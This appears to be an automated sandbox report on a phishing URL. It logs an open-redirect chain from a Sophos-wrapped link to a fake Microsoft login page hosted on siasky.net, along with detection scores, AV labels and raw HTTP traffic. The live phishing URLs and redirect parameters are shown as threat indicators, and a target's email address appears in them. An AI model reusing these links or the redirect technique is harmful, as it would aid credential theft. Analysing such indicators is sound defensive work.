Edit tour

Windows Analysis Report
https://us-east-2.protection.sophos.com/?d=mileskimball.com&u=aHR0cHM6Ly9jb250ZW50Lm1pbGVza2ltYmFsbC5jb20vP0ZGanN5UjFTSjk1eG45ZjIxdjlmTXVxU29rZGJFS3NVRiZodHRwOi8vVVpFbGp4clguWU80ZWlzYy5veHlnZW5hbG1hcy5pci8_aWQ9cGV0ZXJAZGVlcC10cmVlLmNvbQ==&i=NWRkZGEyYzNiYmMzMTcxNjYzZTc0ZjM4&t=VTFObFhGNlcxWU1RMDN0dlVm

Overview

General Information

Sample URL:	https://us-east-2.protection.sophos.com/?d=mileskimball.com&u=aHR0cHM6Ly9jb250ZW50Lm1pbGVza2ltYmFsbC5jb20vP0ZGanN5UjFTSjk1eG45ZjIxdjlmTXVxU29rZGJFS3NVRiZodHRwOi8vVVpFbGp4clguWU80ZWlzYy5veHlnZW5hbG1hcy
Analysis ID:	679468
Infos:

Detection

HTMLPhisher

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Phishing site detected (based on favicon image match)

Multi AV Scanner detection for domain / URL

Yara detected HtmlPhish10

Antivirus detection for URL or domain

Phishing site detected (based on logo template match)

Phishing site detected (based on image similarity)

HTML body contains low number of good links

No HTML title found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6068 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 3896 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1572,12915578667704685696,5038448161639413304,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1944 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 5140 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" "https://us-east-2.protection.sophos.com/?d=mileskimball.com&u=aHR0cHM6Ly9jb250ZW50Lm1pbGVza2ltYmFsbC5jb20vP0ZGanN5UjFTSjk1eG45ZjIxdjlmTXVxU29rZGJFS3NVRiZodHRwOi8vVVpFbGp4clguWU80ZWlzYy5veHlnZW5hbG1hcy5pci8_aWQ9cGV0ZXJAZGVlcC10cmVlLmNvbQ==&i=NWRkZGEyYzNiYmMzMTcxNjYzZTc0ZjM4&t=VTFObFhGNlcxWU1RMDN0dlVmaVZZZkdEaVJOSkRGU3RBUXpwMmc5anZ1ND0=&h=f05993dfec9a48d3bf0e17818ef3f2c9 MD5: C139654B5C1438A95B321BB01AD63EF6)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
46832.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: https://sender.petanitest.com	Virustotal: Detection: 13%	Perma Link
Source: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0	Virustotal: Detection: 14%	Perma Link
Source: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0#peter@deep-tree.com	Virustotal: Detection: 14%	Perma Link

Source: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0#peter@deep-tree.com	SlashNext: Label: Credential Stealing type: Phishing & Social Engineering
Source: https://sender.petanitest.com	Avira URL Cloud: Label: phishing
Source: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0	Avira URL Cloud: Label: phishing
Source: https://sender.petanitest.com/api/getBackground	Avira URL Cloud: Label: phishing

Source: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0#peter@deep-tree.com	HTTP Parser: Number of links: 0
Source: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0#peter@deep-tree.com	HTTP Parser: Number of links: 0
Source: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAYWSO2_TUABG46RNH0MpCAESUlUkBoTk5NrXj7oICT8Sp4kT14mT1BFSFL8SO341durGAzNjJ4ayMVYwwIT6D-jUGXViQkwICQkx0f4Clk8633rO-gpVgiVQAk8LWAnbfUxAghzROoMyIwqiBIMBdETgFApJSEEcYCYJ4OzO-ubLk1cfr943xLeXxrMv-StwhmxNkiSKd8vlNE1LoW07hlUyQr_sjQLTCcafEeQSQb4jyGl-2QpQkTvLxxSksZ0dQDMAhxACigYlzeXcll_1NFdJBoI5afIAaJlBSqrnaC6baG7L0_Cq28oUUlarU1msLFqqQTQzJdHUlqM5ADQzDUj9PWIgVK6_ga9lWjoQ2u5AGHhf87dkdp5M8JsJZ05m_cqv2eHMH0ZhnJwW3uQP60ToNoei01EFfOCyrhdg42goHmViTTJQUpsuaDrSiYNYbfPGHIuq9a44IElZSlpHRz0mVXuSPqaVTE77vm4e18eNiO3NzERXycjsuKZtMpYrqtzUttrjflDrs3N0UWmgaVusy9Wu74mEjqITz8d1ZsZJUtTgjuUDs88y-6jepuI-nMYeQxyLkcKiOxWhzx3UmirhdHncaxBGV-dNRbFsKuTZdlhNDZjZ8DiLWShjZKLQknY0z9p-A9SVoLOQx2qmcXIvVaeZ3ZMXcM5HI67RodEdHTYzjwQ1_ABvsJ8KxWuZfhhcFDbCyAocczuahbbjWd8KD-PEiiZWkDpeHAYvvDAww0AfLW70Xy4hP5burRY3Cw9y27knd0Fhd3V1fTN3Q3-WkHfL1y0xzBahP_rAnt_fL278_Z27WC4fjg1P163uqOZ0Nc4dE_tJJYisiOdHlBXZoEscliW2o_GHzef0LnZSRE6KxYvi7T1h2KqoHZVtCWxbwIfgZ	HTTP Parser: Number of links: 0
Source: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAYWSO2_TUABG46RNH0MpCAESUlUkBoTk5NrXj7oICT8Sp4kT14mT1BFSFL8SO341durGAzNjJ4ayMVYwwIT6D-jUGXViQkwICQkx0f4Clk8633rO-gpVgiVQAk8LWAnbfUxAghzROoMyIwqiBIMBdETgFApJSEEcYCYJ4OzO-ubLk1cfr943xLeXxrMv-StwhmxNkiSKd8vlNE1LoW07hlUyQr_sjQLTCcafEeQSQb4jyGl-2QpQkTvLxxSksZ0dQDMAhxACigYlzeXcll_1NFdJBoI5afIAaJlBSqrnaC6baG7L0_Cq28oUUlarU1msLFqqQTQzJdHUlqM5ADQzDUj9PWIgVK6_ga9lWjoQ2u5AGHhf87dkdp5M8JsJZ05m_cqv2eHMH0ZhnJwW3uQP60ToNoei01EFfOCyrhdg42goHmViTTJQUpsuaDrSiYNYbfPGHIuq9a44IElZSlpHRz0mVXuSPqaVTE77vm4e18eNiO3NzERXycjsuKZtMpYrqtzUttrjflDrs3N0UWmgaVusy9Wu74mEjqITz8d1ZsZJUtTgjuUDs88y-6jepuI-nMYeQxyLkcKiOxWhzx3UmirhdHncaxBGV-dNRbFsKuTZdlhNDZjZ8DiLWShjZKLQknY0z9p-A9SVoLOQx2qmcXIvVaeZ3ZMXcM5HI67RodEdHTYzjwQ1_ABvsJ8KxWuZfhhcFDbCyAocczuahbbjWd8KD-PEiiZWkDpeHAYvvDAww0AfLW70Xy4hP5burRY3Cw9y27knd0Fhd3V1fTN3Q3-WkHfL1y0xzBahP_rAnt_fL278_Z27WC4fjg1P163uqOZ0Nc4dE_tJJYisiOdHlBXZoEscliW2o_GHzef0LnZSRE6KxYvi7T1h2KqoHZVtCWxbwIfgZ	HTTP Parser: Number of links: 0

Source: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0#peter@deep-tree.com	HTTP Parser: HTML title missing
Source: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0#peter@deep-tree.com	HTTP Parser: HTML title missing
Source: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAYWSO2_TUABG46RNH0MpCAESUlUkBoTk5NrXj7oICT8Sp4kT14mT1BFSFL8SO341durGAzNjJ4ayMVYwwIT6D-jUGXViQkwICQkx0f4Clk8633rO-gpVgiVQAk8LWAnbfUxAghzROoMyIwqiBIMBdETgFApJSEEcYCYJ4OzO-ubLk1cfr943xLeXxrMv-StwhmxNkiSKd8vlNE1LoW07hlUyQr_sjQLTCcafEeQSQb4jyGl-2QpQkTvLxxSksZ0dQDMAhxACigYlzeXcll_1NFdJBoI5afIAaJlBSqrnaC6baG7L0_Cq28oUUlarU1msLFqqQTQzJdHUlqM5ADQzDUj9PWIgVK6_ga9lWjoQ2u5AGHhf87dkdp5M8JsJZ05m_cqv2eHMH0ZhnJwW3uQP60ToNoei01EFfOCyrhdg42goHmViTTJQUpsuaDrSiYNYbfPGHIuq9a44IElZSlpHRz0mVXuSPqaVTE77vm4e18eNiO3NzERXycjsuKZtMpYrqtzUttrjflDrs3N0UWmgaVusy9Wu74mEjqITz8d1ZsZJUtTgjuUDs88y-6jepuI-nMYeQxyLkcKiOxWhzx3UmirhdHncaxBGV-dNRbFsKuTZdlhNDZjZ8DiLWShjZKLQknY0z9p-A9SVoLOQx2qmcXIvVaeZ3ZMXcM5HI67RodEdHTYzjwQ1_ABvsJ8KxWuZfhhcFDbCyAocczuahbbjWd8KD-PEiiZWkDpeHAYvvDAww0AfLW70Xy4hP5burRY3Cw9y27knd0Fhd3V1fTN3Q3-WkHfL1y0xzBahP_rAnt_fL278_Z27WC4fjg1P163uqOZ0Nc4dE_tJJYisiOdHlBXZoEscliW2o_GHzef0LnZSRE6KxYvi7T1h2KqoHZVtCWxbwIfgZ	HTTP Parser: HTML title missing
Source: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAYWSO2_TUABG46RNH0MpCAESUlUkBoTk5NrXj7oICT8Sp4kT14mT1BFSFL8SO341durGAzNjJ4ayMVYwwIT6D-jUGXViQkwICQkx0f4Clk8633rO-gpVgiVQAk8LWAnbfUxAghzROoMyIwqiBIMBdETgFApJSEEcYCYJ4OzO-ubLk1cfr943xLeXxrMv-StwhmxNkiSKd8vlNE1LoW07hlUyQr_sjQLTCcafEeQSQb4jyGl-2QpQkTvLxxSksZ0dQDMAhxACigYlzeXcll_1NFdJBoI5afIAaJlBSqrnaC6baG7L0_Cq28oUUlarU1msLFqqQTQzJdHUlqM5ADQzDUj9PWIgVK6_ga9lWjoQ2u5AGHhf87dkdp5M8JsJZ05m_cqv2eHMH0ZhnJwW3uQP60ToNoei01EFfOCyrhdg42goHmViTTJQUpsuaDrSiYNYbfPGHIuq9a44IElZSlpHRz0mVXuSPqaVTE77vm4e18eNiO3NzERXycjsuKZtMpYrqtzUttrjflDrs3N0UWmgaVusy9Wu74mEjqITz8d1ZsZJUtTgjuUDs88y-6jepuI-nMYeQxyLkcKiOxWhzx3UmirhdHncaxBGV-dNRbFsKuTZdlhNDZjZ8DiLWShjZKLQknY0z9p-A9SVoLOQx2qmcXIvVaeZ3ZMXcM5HI67RodEdHTYzjwQ1_ABvsJ8KxWuZfhhcFDbCyAocczuahbbjWd8KD-PEiiZWkDpeHAYvvDAww0AfLW70Xy4hP5burRY3Cw9y27knd0Fhd3V1fTN3Q3-WkHfL1y0xzBahP_rAnt_fL278_Z27WC4fjg1P163uqOZ0Nc4dE_tJJYisiOdHlBXZoEscliW2o_GHzef0LnZSRE6KxYvi7T1h2KqoHZVtCWxbwIfgZ	HTTP Parser: HTML title missing

Source: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0#peter@deep-tree.com	HTTP Parser: No <meta name="author".. found
Source: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0#peter@deep-tree.com	HTTP Parser: No <meta name="author".. found
Source: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAYWSO2_TUABG46RNH0MpCAESUlUkBoTk5NrXj7oICT8Sp4kT14mT1BFSFL8SO341durGAzNjJ4ayMVYwwIT6D-jUGXViQkwICQkx0f4Clk8633rO-gpVgiVQAk8LWAnbfUxAghzROoMyIwqiBIMBdETgFApJSEEcYCYJ4OzO-ubLk1cfr943xLeXxrMv-StwhmxNkiSKd8vlNE1LoW07hlUyQr_sjQLTCcafEeQSQb4jyGl-2QpQkTvLxxSksZ0dQDMAhxACigYlzeXcll_1NFdJBoI5afIAaJlBSqrnaC6baG7L0_Cq28oUUlarU1msLFqqQTQzJdHUlqM5ADQzDUj9PWIgVK6_ga9lWjoQ2u5AGHhf87dkdp5M8JsJZ05m_cqv2eHMH0ZhnJwW3uQP60ToNoei01EFfOCyrhdg42goHmViTTJQUpsuaDrSiYNYbfPGHIuq9a44IElZSlpHRz0mVXuSPqaVTE77vm4e18eNiO3NzERXycjsuKZtMpYrqtzUttrjflDrs3N0UWmgaVusy9Wu74mEjqITz8d1ZsZJUtTgjuUDs88y-6jepuI-nMYeQxyLkcKiOxWhzx3UmirhdHncaxBGV-dNRbFsKuTZdlhNDZjZ8DiLWShjZKLQknY0z9p-A9SVoLOQx2qmcXIvVaeZ3ZMXcM5HI67RodEdHTYzjwQ1_ABvsJ8KxWuZfhhcFDbCyAocczuahbbjWd8KD-PEiiZWkDpeHAYvvDAww0AfLW70Xy4hP5burRY3Cw9y27knd0Fhd3V1fTN3Q3-WkHfL1y0xzBahP_rAnt_fL278_Z27WC4fjg1P163uqOZ0Nc4dE_tJJYisiOdHlBXZoEscliW2o_GHzef0LnZSRE6KxYvi7T1h2KqoHZVtCWxbwIfgZ	HTTP Parser: No <meta name="author".. found
Source: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAYWSO2_TUABG46RNH0MpCAESUlUkBoTk5NrXj7oICT8Sp4kT14mT1BFSFL8SO341durGAzNjJ4ayMVYwwIT6D-jUGXViQkwICQkx0f4Clk8633rO-gpVgiVQAk8LWAnbfUxAghzROoMyIwqiBIMBdETgFApJSEEcYCYJ4OzO-ubLk1cfr943xLeXxrMv-StwhmxNkiSKd8vlNE1LoW07hlUyQr_sjQLTCcafEeQSQb4jyGl-2QpQkTvLxxSksZ0dQDMAhxACigYlzeXcll_1NFdJBoI5afIAaJlBSqrnaC6baG7L0_Cq28oUUlarU1msLFqqQTQzJdHUlqM5ADQzDUj9PWIgVK6_ga9lWjoQ2u5AGHhf87dkdp5M8JsJZ05m_cqv2eHMH0ZhnJwW3uQP60ToNoei01EFfOCyrhdg42goHmViTTJQUpsuaDrSiYNYbfPGHIuq9a44IElZSlpHRz0mVXuSPqaVTE77vm4e18eNiO3NzERXycjsuKZtMpYrqtzUttrjflDrs3N0UWmgaVusy9Wu74mEjqITz8d1ZsZJUtTgjuUDs88y-6jepuI-nMYeQxyLkcKiOxWhzx3UmirhdHncaxBGV-dNRbFsKuTZdlhNDZjZ8DiLWShjZKLQknY0z9p-A9SVoLOQx2qmcXIvVaeZ3ZMXcM5HI67RodEdHTYzjwQ1_ABvsJ8KxWuZfhhcFDbCyAocczuahbbjWd8KD-PEiiZWkDpeHAYvvDAww0AfLW70Xy4hP5burRY3Cw9y27knd0Fhd3V1fTN3Q3-WkHfL1y0xzBahP_rAnt_fL278_Z27WC4fjg1P163uqOZ0Nc4dE_tJJYisiOdHlBXZoEscliW2o_GHzef0LnZSRE6KxYvi7T1h2KqoHZVtCWxbwIfgZ	HTTP Parser: No <meta name="author".. found

Source: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0#peter@deep-tree.com	HTTP Parser: No <meta name="copyright".. found
Source: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0#peter@deep-tree.com	HTTP Parser: No <meta name="copyright".. found
Source: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAYWSO2_TUABG46RNH0MpCAESUlUkBoTk5NrXj7oICT8Sp4kT14mT1BFSFL8SO341durGAzNjJ4ayMVYwwIT6D-jUGXViQkwICQkx0f4Clk8633rO-gpVgiVQAk8LWAnbfUxAghzROoMyIwqiBIMBdETgFApJSEEcYCYJ4OzO-ubLk1cfr943xLeXxrMv-StwhmxNkiSKd8vlNE1LoW07hlUyQr_sjQLTCcafEeQSQb4jyGl-2QpQkTvLxxSksZ0dQDMAhxACigYlzeXcll_1NFdJBoI5afIAaJlBSqrnaC6baG7L0_Cq28oUUlarU1msLFqqQTQzJdHUlqM5ADQzDUj9PWIgVK6_ga9lWjoQ2u5AGHhf87dkdp5M8JsJZ05m_cqv2eHMH0ZhnJwW3uQP60ToNoei01EFfOCyrhdg42goHmViTTJQUpsuaDrSiYNYbfPGHIuq9a44IElZSlpHRz0mVXuSPqaVTE77vm4e18eNiO3NzERXycjsuKZtMpYrqtzUttrjflDrs3N0UWmgaVusy9Wu74mEjqITz8d1ZsZJUtTgjuUDs88y-6jepuI-nMYeQxyLkcKiOxWhzx3UmirhdHncaxBGV-dNRbFsKuTZdlhNDZjZ8DiLWShjZKLQknY0z9p-A9SVoLOQx2qmcXIvVaeZ3ZMXcM5HI67RodEdHTYzjwQ1_ABvsJ8KxWuZfhhcFDbCyAocczuahbbjWd8KD-PEiiZWkDpeHAYvvDAww0AfLW70Xy4hP5burRY3Cw9y27knd0Fhd3V1fTN3Q3-WkHfL1y0xzBahP_rAnt_fL278_Z27WC4fjg1P163uqOZ0Nc4dE_tJJYisiOdHlBXZoEscliW2o_GHzef0LnZSRE6KxYvi7T1h2KqoHZVtCWxbwIfgZzH_eiV3vvafOv8B0&mkt=en-GB&hosted=0&device_platform=Windows+10	HTTP Parser: No <meta name="copyright".. found
Source: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAYWSO2_TUABG46RNH0MpCAESUlUkBoTk5NrXj7oICT8Sp4kT14mT1BFSFL8SO341durGAzNjJ4ayMVYwwIT6D-jUGXViQkwICQkx0f4Clk8633rO-gpVgiVQAk8LWAnbfUxAghzROoMyIwqiBIMBdETgFApJSEEcYCYJ4OzO-ubLk1cfr943xLeXxrMv-StwhmxNkiSKd8vlNE1LoW07hlUyQr_sjQLTCcafEeQSQb4jyGl-2QpQkTvLxxSksZ0dQDMAhxACigYlzeXcll_1NFdJBoI5afIAaJlBSqrnaC6baG7L0_Cq28oUUlarU1msLFqqQTQzJdHUlqM5ADQzDUj9PWIgVK6_ga9lWjoQ2u5AGHhf87dkdp5M8JsJZ05m_cqv2eHMH0ZhnJwW3uQP60ToNoei01EFfOCyrhdg42goHmViTTJQUpsuaDrSiYNYbfPGHIuq9a44IElZSlpHRz0mVXuSPqaVTE77vm4e18eNiO3NzERXycjsuKZtMpYrqtzUttrjflDrs3N0UWmgaVusy9Wu74mEjqITz8d1ZsZJUtTgjuUDs88y-6jepuI-nMYeQxyLkcKiOxWhzx3UmirhdHncaxBGV-dNRbFsKuTZdlhNDZjZ8DiLWShjZKLQknY0z9p-A9SVoLOQx2qmcXIvVaeZ3ZMXcM5HI67RodEdHTYzjwQ1_ABvsJ8KxWuZfhhcFDbCyAocczuahbbjWd8KD-PEiiZWkDpeHAYvvDAww0AfLW70Xy4hP5burRY3Cw9y27knd0Fhd3V1fTN3Q3-WkHfL1y0xzBahP_rAnt_fL278_Z27WC4fjg1P163uqOZ0Nc4dE_tJJYisiOdHlBXZoEscliW2o_GHzef0LnZSRE6KxYvi7T1h2KqoHZVtCWxbwIfgZzH_eiV3vvafOv8B0&mkt=en-GB&hosted=0&device_platform=Windows+10	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic			Jump to behavior

Source: unknown	HTTPS traffic detected: 152.199.23.37:443 -> 192.168.2.3:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 152.199.23.37:443 -> 192.168.2.3:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.229.221.185:443 -> 192.168.2.3:49771 version: TLS 1.2

Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfmX-Goog-Update-Updater: chromecrx-85.0.4183.121Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?d=mileskimball.com&u=aHR0cHM6Ly9jb250ZW50Lm1pbGVza2ltYmFsbC5jb20vP0ZGanN5UjFTSjk1eG45ZjIxdjlmTXVxU29rZGJFS3NVRiZodHRwOi8vVVpFbGp4clguWU80ZWlzYy5veHlnZW5hbG1hcy5pci8_aWQ9cGV0ZXJAZGVlcC10cmVlLmNvbQ==&i=NWRkZGEyYzNiYmMzMTcxNjYzZTc0ZjM4&t=VTFObFhGNlcxWU1RMDN0dlVmaVZZZkdEaVJOSkRGU3RBUXpwMmc5anZ1ND0=&h=f05993dfec9a48d3bf0e17818ef3f2c9 HTTP/1.1Host: us-east-2.protection.sophos.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?FFjsyR1SJ95xn9f21v9fMuqSokdbEKsUF&http://UZEljxrX.YO4eisc.oxygenalmas.ir/?id=peter@deep-tree.com HTTP/1.1Host: content.mileskimball.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0 HTTP/1.1Host: siasky.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: http://uzeljxrx.yo4eisc.oxygenalmas.ir/?id=peter@deep-tree.comAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_rayhgcterrtxpnvapp3erg2.css HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveOrigin: https://siasky.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: image/avif,image/webp,image/apng,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_szor2ujtsn_b-ik0b744ha2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: application/signed-exchange;v=b3;q=0.9,/;q=0.8Purpose: prefetchSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
